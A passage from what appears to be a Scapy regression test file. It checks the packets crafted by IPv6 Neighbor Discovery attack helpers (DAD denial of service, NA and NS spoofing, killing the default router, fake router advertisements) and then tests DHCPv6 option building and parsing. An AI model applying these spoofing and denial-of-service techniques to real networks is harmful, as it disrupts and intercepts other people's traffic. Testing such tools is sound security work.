ret_list.append(Ether(raw(pkt))) sendp_mock.side_effect = _fake_sendp function(*options) return ret_list = Test NDP_Attack_DAD_DoS_via_NS data = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:00:11:11')/IPv6(src="::", dst="ff02::1:ff00:1111")/ICMPv6ND_NS(tgt="ffff::1111", code=17, res=3758096385), Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:5d:c3:53')/IPv6(src="::", dst="ff02::1:ff5d:c353")/ICMPv6ND_NS(tgt="b643:44c3:f659:f8e6:31c0:6437:825d:c353"), Ether()/IP()/ICMP()] results = test_attack(NDP_Attack_DAD_DoS_via_NS, data) assert len(results) == 2 a = results[0][IPv6] assert a[IPv6].src == "::" assert a[IPv6].dst == "ff02::1:ff00:1111" assert a[IPv6].hlim == 255 assert a[ICMPv6ND_NS].tgt == "ffff::1111" b = results[1][IPv6] assert b[IPv6].src == "::" assert b[IPv6].dst == "ff02::1:ff5d:c353" assert b[IPv6].hlim == 255 assert b[ICMPv6ND_NS].tgt == "b643:44c3:f659:f8e6:31c0:6437:825d:c353" = Test NDP_Attack_DAD_DoS_via_NA data = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:00:11:11')/IPv6(src="::", dst="ff02::1:ff00:1111")/ICMPv6ND_NS(tgt="ffff::1111", code=17, res=3758096385), Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:5d:c3:53')/IPv6(src="::", dst="ff02::1:ff5d:c353")/ICMPv6ND_NS(tgt="b643:44c3:f659:f8e6:31c0:6437:825d:c353"), Ether()/IP()/ICMP()] results = test_attack(NDP_Attack_DAD_DoS_via_NA, data, options=(None, None, None, "ab:ab:ab:ab:ab:ab")) assert len(results) == 2 results[0].dst = "ff:ff:ff:ff:ff:ff" results[1].dst = "ff:ff:ff:ff:ff:ff" a = results[0] assert a[Ether].dst == "ff:ff:ff:ff:ff:ff" assert a[Ether].src == "ab:ab:ab:ab:ab:ab" assert a[IPv6].src == "ffff::1111" assert a[IPv6].dst == "ff02::1:ff00:1111" assert a[IPv6].hlim == 255 assert a[ICMPv6ND_NA].tgt == "ffff::1111" assert a[ICMPv6NDOptDstLLAddr].lladdr == "ab:ab:ab:ab:ab:ab" b = results[1] assert b[Ether].dst == "ff:ff:ff:ff:ff:ff" assert b[Ether].src == "ab:ab:ab:ab:ab:ab" assert b[IPv6].src == "b643:44c3:f659:f8e6:31c0:6437:825d:c353" assert b[IPv6].dst == "ff02::1:ff5d:c353" assert b[IPv6].hlim == 255 assert b[ICMPv6ND_NA].tgt == "b643:44c3:f659:f8e6:31c0:6437:825d:c353" assert b[ICMPv6NDOptDstLLAddr].lladdr == "ab:ab:ab:ab:ab:ab" = Test NDP_Attack_NA_Spoofing data = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:d4:e5:f6')/IPv6(src="753a:727c:97b5:f71d:51ea:3901:ab52:e110", dst="ff02::1:ffd4:e5f6")/ICMPv6ND_NS(tgt="ff02::1:ffd4:e5f6", code=171, res=3758096), Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:e4:68:c9:4f')/IPv6(src="753a:727c:97b5:f71d:51ea:3901:ab52:e110", dst="fe9c:98b0:52b5:7033:5db0:394f:e468:c94f")/ICMPv6ND_NS(), Ether()/IP()/ICMP()] results = test_attack(NDP_Attack_NA_Spoofing, data, options=(None, None, None, "ff:ff:ff:ff:ff:ff", None)) assert len(results) == 2 a = results[0] assert a[Ether].dst == "aa:aa:aa:aa:aa:aa" assert a[Ether].src == "ff:ff:ff:ff:ff:ff" assert a[IPv6].src == "ff02::1:ffd4:e5f6" assert a[IPv6].dst == "753a:727c:97b5:f71d:51ea:3901:ab52:e110" assert a[IPv6].hlim == 255 assert a[ICMPv6ND_NA].R == 0 assert a[ICMPv6ND_NA].S == 1 assert a[ICMPv6ND_NA].O == 1 assert a[ICMPv6ND_NA].tgt == "ff02::1:ffd4:e5f6" assert a[ICMPv6NDOptDstLLAddr].lladdr == "ff:ff:ff:ff:ff:ff" b = results[1] assert b[Ether].dst == "aa:aa:aa:aa:aa:aa" assert b[Ether].src == "ff:ff:ff:ff:ff:ff" assert b[IPv6].src == "::" assert b[IPv6].dst == "753a:727c:97b5:f71d:51ea:3901:ab52:e110" assert b[IPv6].hlim == 255 assert b[ICMPv6ND_NA].R == 0 assert b[ICMPv6ND_NA].S == 1 assert b[ICMPv6ND_NA].O == 1 assert b[ICMPv6ND_NA].tgt == "::" assert b[ICMPv6NDOptDstLLAddr].lladdr == "ff:ff:ff:ff:ff:ff" = Test NDP_Attack_Kill_Default_Router data = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:d4:e5:f6')/IPv6(src="753a:727c:97b5:f71d:51ea:3901:ab52:e110", dst="ff02::1:ffd4:e5f6")/ICMPv6ND_RA(routerlifetime=1), Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ab:52:e1:10')/IPv6(src="fe9c:98b0:52b5:7033:5db0:394f:e468:c94f", dst="753a:727c:97b5:f71d:51ea:3901:ab52:e110")/ICMPv6ND_RA(routerlifetime=1), Ether()/IP()/"RANDOM"] results = test_attack(NDP_Attack_Kill_Default_Router, data) assert len(results) == 2 a = results[0][IPv6] assert a[IPv6].src == "753a:727c:97b5:f71d:51ea:3901:ab52:e110" assert a[IPv6].dst == "ff02::1" assert a[IPv6].hlim == 255 assert a[ICMPv6ND_RA].M == 0 assert a[ICMPv6ND_RA].O == 0 assert a[ICMPv6ND_RA].H == 0 assert a[ICMPv6ND_RA].P == 0 assert a[ICMPv6ND_RA].routerlifetime == 0 assert a[ICMPv6ND_RA].reachabletime == 0 assert a[ICMPv6ND_RA].retranstimer == 0 assert a[ICMPv6NDOptSrcLLAddr].lladdr == "aa:aa:aa:aa:aa:aa" b = results[1][IPv6] assert b[IPv6].src == "fe9c:98b0:52b5:7033:5db0:394f:e468:c94f" assert b[IPv6].dst == "ff02::1" assert b[IPv6].hlim == 255 assert b[ICMPv6ND_RA].M == 0 assert b[ICMPv6ND_RA].O == 0 assert b[ICMPv6ND_RA].H == 0 assert b[ICMPv6ND_RA].P == 0 assert b[ICMPv6ND_RA].routerlifetime == 0 assert b[ICMPv6ND_RA].reachabletime == 0 assert b[ICMPv6ND_RA].retranstimer == 0 assert b[ICMPv6NDOptSrcLLAddr].lladdr == "aa:aa:aa:aa:aa:aa" = Test NDP_Attack_Fake_Router ra = Ether()/IPv6()/ICMPv6ND_RA() ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64) ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64) ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55") rad = Ether(raw(ra)) data = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ab:52:e1:10')/IPv6(src="753a:727c:97b5:f71d:51ea:3901:ab52:e110", dst="ff02::1:ffd4:e5f6")/ICMPv6ND_RS(code=11, res=3758096), Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ab:52:e1:10')/IPv6(src="753a:727c:97b5:f71d:51ea:3901:ab52:e110", dst="fe9c:98b0:52b5:7033:5db0:394f:e468:c94f")/ICMPv6ND_RS(), Ether()/IP()/ICMP()] results = test_attack(NDP_Attack_Fake_Router, data, options=(ra,)) assert len(results) == 2 assert results[0] == rad assert results[1] == rad = Test NDP_Attack_NS_Spoofing r = test_attack(NDP_Attack_NS_Spoofing, [], options=("aa:aa:aa:aa:aa:aa", "753a:727c:97b5:f71d:51ea:3901:ab52:e110", "2001:db8::1", 'e4a0:654b:1a24:1b15:761d:2e5d:245d:ba83', "cc:cc:cc:cc:cc:cc", "dd:dd:dd:dd:dd:dd"))[0] assert r[Ether].dst == "dd:dd:dd:dd:dd:dd" assert r[Ether].src == "cc:cc:cc:cc:cc:cc" assert r[IPv6].hlim == 255 assert r[IPv6].src == "753a:727c:97b5:f71d:51ea:3901:ab52:e110" assert r[IPv6].dst == "e4a0:654b:1a24:1b15:761d:2e5d:245d:ba83" assert r[ICMPv6ND_NS].tgt == "2001:db8::1" assert r[ICMPv6NDOptSrcLLAddr].lladdr == "aa:aa:aa:aa:aa:aa" # Below is our Homework : here is the mountain ... # ########### ICMPv6MLReport Class #################################### ########### ICMPv6MLDone Class ###################################### ########### ICMPv6ND_Redirect Class ################################# ########### ICMPv6NDOptSrcAddrList Class ############################ ########### ICMPv6NDOptTgtAddrList Class ############################ ########### ICMPv6ND_INDSol Class ################################### ########### ICMPv6ND_INDAdv Class ################################### ##################################################################### ##################################################################### ########################## DHCPv6 ########################## ##################################################################### ##################################################################### ############ ############ + Test DHCP6 DUID_LLT = DUID_LLT basic instantiation a=DUID_LLT() = DUID_LLT basic build raw(DUID_LLT()) == b'\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DUID_LLT build with specific values raw(DUID_LLT(lladdr="ff:ff:ff:ff:ff:ff", timeval=0x11111111, hwtype=0x2222)) == b'\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff' = DUID_LLT basic dissection a=DUID_LLT(raw(DUID_LLT())) a.type == 1 and a.hwtype == 1 and a.timeval == 0 and a.lladdr == "00:00:00:00:00:00" = DUID_LLT dissection with specific values a=DUID_LLT(b'\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff') a.type == 1 and a.hwtype == 0x2222 and a.timeval == 0x11111111 and a.lladdr == "ff:ff:ff:ff:ff:ff" ############ ############ + Test DHCP6 DUID_EN = DUID_EN basic instantiation a=DUID_EN() = DUID_EN basic build raw(DUID_EN()) == b'\x00\x02\x00\x00\x017' = DUID_EN build with specific values raw(DUID_EN(enterprisenum=0x11111111, id="iamastring")) == b'\x00\x02\x11\x11\x11\x11iamastring' = DUID_EN basic dissection a=DUID_EN(b'\x00\x02\x00\x00\x017') a.type == 2 and a.enterprisenum == 311 = DUID_EN dissection with specific values a=DUID_EN(b'\x00\x02\x11\x11\x11\x11iamarawing') a.type == 2 and a.enterprisenum == 0x11111111 and a.id == b"iamarawing" ############ ############ + Test DHCP6 DUID_LL = DUID_LL basic instantiation a=DUID_LL() = DUID_LL basic build raw(DUID_LL()) == b'\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DUID_LL build with specific values raw(DUID_LL(hwtype=1, lladdr="ff:ff:ff:ff:ff:ff")) == b'\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff' = DUID_LL basic dissection a=DUID_LL(raw(DUID_LL())) a.type == 3 and a.hwtype == 1 and a.lladdr == "00:00:00:00:00:00" = DUID_LL with specific values a=DUID_LL(b'\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff') a.hwtype == 1 and a.lladdr == "ff:ff:ff:ff:ff:ff" ############ ############ + Test DHCP6 DUID_UUID = DUID_UUID basic instantiation a=DUID_UUID() = DUID_UUID basic build raw(DUID_UUID()) == b"\0\x04\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" = DUID_UUID build with specific values raw(DUID_UUID(uuid="272adcca-138c-4e8d-b3f4-634e953128cf")) == \ b"\x00\x04'*\xdc\xca\x13\x8cN\x8d\xb3\xf4cN\x951(\xcf" = DUID_UUID basic dissection a=DUID_UUID(raw(DUID_UUID())) a.type == 4 and str(a.uuid) == "00000000-0000-0000-0000-000000000000" = DUID_UUID with specific values a=DUID_UUID(b"\x00\x04'*\xdc\xca\x13\x8cN\x8d\xb3\xf4cN\x951(\xcf") a.type == 4 and str(a.uuid) == "272adcca-138c-4e8d-b3f4-634e953128cf" ############ ############ + Test DHCP6 Opt Unknown = DHCP6 Opt Unknown basic instantiation a=DHCP6OptUnknown() = DHCP6 Opt Unknown basic build (default values) raw(DHCP6OptUnknown()) == b'\x00\x00\x00\x00' = DHCP6 Opt Unknown - len computation test raw(DHCP6OptUnknown(data="shouldbe9")) == b'\x00\x00\x00\tshouldbe9' ############ ############ + Test DHCP6 Client Identifier option = DHCP6OptClientId basic instantiation a=DHCP6OptClientId() = DHCP6OptClientId basic build raw(DHCP6OptClientId()) == b'\x00\x01\x00\x00' = DHCP6OptClientId instantiation with specific values raw(DHCP6OptClientId(duid="toto")) == b'\x00\x01\x00\x04toto' = DHCP6OptClientId instantiation with DUID_LL raw(DHCP6OptClientId(duid=DUID_LL())) == b'\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DHCP6OptClientId instantiation with DUID_LLT raw(DHCP6OptClientId(duid=DUID_LLT())) == b'\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptClientId instantiation with DUID_EN raw(DHCP6OptClientId(duid=DUID_EN())) == b'\x00\x01\x00\x06\x00\x02\x00\x00\x017' = DHCP6OptClientId instantiation with specified length raw(DHCP6OptClientId(optlen=80, duid="somestring")) == b'\x00\x01\x00Psomestring' = DHCP6OptClientId basic dissection a=DHCP6OptClientId(b'\x00\x01\x00\x00') a.optcode == 1 and a.optlen == 0 = DHCP6OptClientId instantiation with specified length raw(DHCP6OptClientId(optlen=80, duid="somestring")) == b'\x00\x01\x00Psomestring' = DHCP6OptClientId basic dissection a=DHCP6OptClientId(b'\x00\x01\x00\x00') a.optcode == 1 and a.optlen == 0 = DHCP6OptClientId dissection with specific duid value a=DHCP6OptClientId(b'\x00\x01\x00\x04somerawing') a.optcode == 1 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == b'some' and isinstance(a.payload, DHCP6OptUnknown) = DHCP6OptClientId dissection with specific DUID_LL as duid value a=DHCP6OptClientId(b'\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00') a.optcode == 1 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptClientId dissection with specific DUID_LLT as duid value a=DHCP6OptClientId(b'\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 1 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptClientId dissection with specific DUID_EN as duid value a=DHCP6OptClientId(b'\x00\x01\x00\x06\x00\x02\x00\x00\x017') a.optcode == 1 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == b"" ############ ############ + Test DHCP6 Server Identifier option = DHCP6OptServerId basic instantiation a=DHCP6OptServerId() = DHCP6OptServerId basic build raw(DHCP6OptServerId()) == b'\x00\x02\x00\x00' = DHCP6OptServerId basic build with specific values raw(DHCP6OptServerId(duid="toto")) == b'\x00\x02\x00\x04toto' = DHCP6OptServerId instantiation with DUID_LL raw(DHCP6OptServerId(duid=DUID_LL())) == b'\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DHCP6OptServerId instantiation with DUID_LLT raw(DHCP6OptServerId(duid=DUID_LLT())) == b'\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptServerId instantiation with DUID_EN raw(DHCP6OptServerId(duid=DUID_EN())) == b'\x00\x02\x00\x06\x00\x02\x00\x00\x017' = DHCP6OptServerId instantiation with specified length raw(DHCP6OptServerId(optlen=80, duid="somestring")) == b'\x00\x02\x00Psomestring' = DHCP6OptServerId basic dissection a=DHCP6OptServerId(b'\x00\x02\x00\x00') a.optcode == 2 and a.optlen == 0 = DHCP6OptServerId dissection with specific duid value a=DHCP6OptServerId(b'\x00\x02\x00\x04somerawing') a.optcode == 2 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == b'some' and isinstance(a.payload, DHCP6OptUnknown) = DHCP6OptServerId dissection with specific DUID_LL as duid value a=DHCP6OptServerId(b'\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00') a.optcode == 2 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptServerId dissection with specific DUID_LLT as duid value a=DHCP6OptServerId(b'\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 2 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptServerId dissection with specific DUID_EN as duid value a=DHCP6OptServerId(b'\x00\x02\x00\x06\x00\x02\x00\x00\x017') a.optcode == 2 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == b"" ############ ############ + Test DHCP6 IA Address Option (IA_TA or IA_NA suboption) = DHCP6OptIAAddress - Basic Instantiation raw(DHCP6OptIAAddress()) == b'\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIAAddress - Basic Dissection a = DHCP6OptIAAddress(b'\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 5 and a.optlen == 24 and a.addr == "::" and a.preflft == 0 and a. validlft == 0 and a.iaaddropts == [] = DHCP6OptIAAddress - Instantiation with specific values raw(DHCP6OptIAAddress(optlen=0x1111, addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaaddropts="somestring")) == b'\x00\x05\x11\x11""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomestring' = DHCP6OptIAAddress - Instantiation with specific values (default optlen computation) raw(DHCP6OptIAAddress(addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaaddropts="somestring")) == b'\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomestring' = DHCP6OptIAAddress - Dissection with specific values a = DHCP6OptIAAddress(b'\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomerawing') a.optcode == 5 and a.optlen == 34 and a.addr == "2222:3333::5555" and a.preflft == 0x66666666 and a. validlft == 0x77777777 and a.iaaddropts[0].load == b"somerawing" ############ ############ + Test DHCP6 Identity Association for Non-temporary Addresses Option = DHCP6OptIA_NA - Basic Instantiation raw(DHCP6OptIA_NA()) == b'\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_NA - Basic Dissection a = DHCP6OptIA_NA(b'\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 3 and a.optlen == 12 and a.iaid == 0 and a.T1 == 0 and a.T2==0 and a.ianaopts == [] = DHCP6OptIA_NA - Instantiation with specific values (keep automatic length computation) raw(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\x00\x03\x00\x0c""""3333DDDD' = DHCP6OptIA_NA - Instantiation with specific values (forced optlen) raw(DHCP6OptIA_NA(optlen=0x1111, iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\x00\x03\x11\x11""""3333DDDD' = DHCP6OptIA_NA - Instantiation with a list of IA Addresses (optlen automatic computation) raw(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444, ianaopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == b'\x00\x03\x00D""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_NA - Dissection with specific values a = DHCP6OptIA_NA(b'\x00\x03\x00L""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 3 and a.optlen == 76 and a.iaid == 0x22222222 and a.T1 == 0x33333333 and a.T2==0x44444444 and len(a.ianaopts) == 2 and isinstance(a.ianaopts[0], DHCP6OptIAAddress) and isinstance(a.ianaopts[1], DHCP6OptIAAddress) = DHCP6OptIA_NA - Instantiation with a list of different opts: IA Address and Status Code (optlen automatic computation) raw(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444, ianaopts=[DHCP6OptIAAddress(), DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")])) == b'\x00\x03\x003""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x07\x00\xffHello' ############ ############ + Test DHCP6 Identity Association for Temporary Addresses Option = DHCP6OptIA_TA - Basic Instantiation raw(DHCP6OptIA_TA()) == b'\x00\x04\x00\x04\x00\x00\x00\x00' = DHCP6OptIA_TA - Basic Dissection a = DHCP6OptIA_TA(b'\x00\x04\x00\x04\x00\x00\x00\x00') a.optcode == 4 and a.optlen == 4 and a.iaid == 0 and a.iataopts == [] = DHCP6OptIA_TA - Instantiation with specific values raw(DHCP6OptIA_TA(optlen=0x1111, iaid=0x22222222, iataopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == b'\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_TA - Dissection with specific values a = DHCP6OptIA_TA(b'\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 4 and a.optlen == 0x1111 and a.iaid == 0x22222222 and len(a.iataopts) == 2 and isinstance(a.iataopts[0], DHCP6OptIAAddress) and isinstance(a.iataopts[1], DHCP6OptIAAddress) = DHCP6OptIA_TA - Instantiation with a list of different opts: IA Address and Status Code (optlen automatic computation) raw(DHCP6OptIA_TA(iaid=0x22222222, iataopts=[DHCP6OptIAAddress(), DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")])) == b'\x00\x04\x00+""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x07\x00\xffHello' ############ ############ + Test DHCP6 Option Request Option = DHCP6OptOptReq - Basic Instantiation raw(DHCP6OptOptReq()) == b'\x00\x06\x00\x04\x00\x17\x00\x18' = DHCP6OptOptReq - optlen field computation raw(DHCP6OptOptReq(reqopts=[1,2,3,4])) == b'\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04' = DHCP6OptOptReq - instantiation with empty list raw(DHCP6OptOptReq(reqopts=[])) == b'\x00\x06\x00\x00' = DHCP6OptOptReq - Basic dissection a=DHCP6OptOptReq(b'\x00\x06\x00\x00') a.optcode == 6 and a.optlen == 0 and a.reqopts == [23,24] = DHCP6OptOptReq - Dissection with specific value a=DHCP6OptOptReq(b'\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04') a.optcode == 6 and a.optlen == 8 and a.reqopts == [1,2,3,4] = DHCP6OptOptReq - repr a.show() ############ ############ + Test DHCP6 Option - Preference option = DHCP6OptPref - Basic instantiation raw(DHCP6OptPref()) == b'\x00\x07\x00\x01\xff' = DHCP6OptPref - Instantiation with specific values raw(DHCP6OptPref(optlen=0xffff, prefval= 0x11)) == b'\x00\x07\xff\xff\x11' = DHCP6OptPref - Basic Dissection a=DHCP6OptPref(b'\x00\x07\x00\x01\xff') a.optcode == 7 and a.optlen == 1 and a.prefval == 255 = DHCP6OptPref - Dissection with specific values a=DHCP6OptPref(b'\x00\x07\xff\xff\x11') a.optcode == 7 and a.optlen == 0xffff and a.prefval == 0x11 ############ ############ + Test DHCP6 Option - Elapsed Time = DHCP6OptElapsedTime - Basic Instantiation raw(DHCP6OptElapsedTime()) == b'\x00\x08\x00\x02\x00\x00' = DHCP6OptElapsedTime - Instantiation with specific elapsedtime value raw(DHCP6OptElapsedTime(elapsedtime=421)) == b'\x00\x08\x00\x02\x01\xa5' = DHCP6OptElapsedTime - Basic Dissection a=DHCP6OptElapsedTime(b'\x00\x08\x00\x02\x00\x00') a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 0 = DHCP6OptElapsedTime - Dissection with specific values a=DHCP6OptElapsedTime(b'\x00\x08\x00\x02\x01\xa5') a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 421 = DHCP6OptElapsedTime - Repr a.show() ############ ############ + Test DHCP6 Option - Server Unicast Address = DHCP6OptServerUnicast - Basic Instantiation raw(DHCP6OptServerUnicast()) == b'\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptServerUnicast - Instantiation with specific values (test 1) raw(DHCP6OptServerUnicast(srvaddr="2001::1")) == b'\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptServerUnicast - Instantiation with specific values (test 2) raw(DHCP6OptServerUnicast(srvaddr="2001::1", optlen=42)) == b'\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptServerUnicast - Dissection with default values a=DHCP6OptServerUnicast(b'\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 12 and a.optlen == 16 and a.srvaddr == "::" = DHCP6OptServerUnicast - Dissection with specific values (test 1) a=DHCP6OptServerUnicast(b'\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 12 and a.optlen == 16 and a.srvaddr == "2001::1" = DHCP6OptServerUnicast - Dissection with specific values (test 2) a=DHCP6OptServerUnicast(b'\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 12 and a.optlen == 42 and a.srvaddr == "2001::1" ############ ############ + Test DHCP6 Option - Status Code = DHCP6OptStatusCode - Basic Instantiation raw(DHCP6OptStatusCode()) == b'\x00\r\x00\x02\x00\x00' = DHCP6OptStatusCode - Instantiation with specific values raw(DHCP6OptStatusCode(optlen=42, statuscode=0xff, statusmsg="Hello")) == b'\x00\r\x00*\x00\xffHello' = DHCP6OptStatusCode - Automatic Length computation raw(DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")) == b'\x00\r\x00\x07\x00\xffHello' # Add tests to verify Unicode behavior ############ ############ + Test DHCP6 Option - Rapid Commit = DHCP6OptRapidCommit - Basic Instantiation raw(DHCP6OptRapidCommit()) == b'\x00\x0e\x00\x00' = DHCP6OptRapidCommit - Basic Dissection a=DHCP6OptRapidCommit(b'\x00\x0e\x00\x00') a.optcode == 14 and a.optlen == 0 ############ ############ + Test DHCP6 Option - User class = DHCP6OptUserClass - Basic Instantiation raw(DHCP6OptUserClass()) == b'\x00\x0f\x00\x00' = DHCP6OptUserClass - Basic Dissection a = DHCP6OptUserClass(b'\x00\x0f\x00\x00') a.optcode == 15 and a.optlen == 0 and a.userclassdata == [] = DHCP6OptUserClass - Instantiation with one user class data rawucture raw(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something")])) == b'\x00\x0f\x00\x0b\x00\tsomething' = DHCP6OptUserClass - Dissection with one user class data rawucture a = DHCP6OptUserClass(b'\x00\x0f\x00\x0b\x00\tsomething') a.optcode == 15 and a.optlen == 11 and len(a.userclassdata) == 1 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == b'something' = DHCP6OptUserClass - Instantiation with two user class data rawuctures raw(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something"), USER_CLASS_DATA(data="somethingelse")])) == b'\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse' = DHCP6OptUserClass - Dissection with two user class data rawuctures a = DHCP6OptUserClass(b'\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse') a.optcode == 15 and a.optlen == 26 and len(a.userclassdata) == 2 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and isinstance(a.userclassdata[1], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == b'something' and a.userclassdata[1].len == 13 and a.userclassdata[1].data == b'somethingelse' ############ ############ + Test DHCP6 Option - Vendor class = DHCP6OptVendorClass - Basic Instantiation raw(DHCP6OptVendorClass()) == 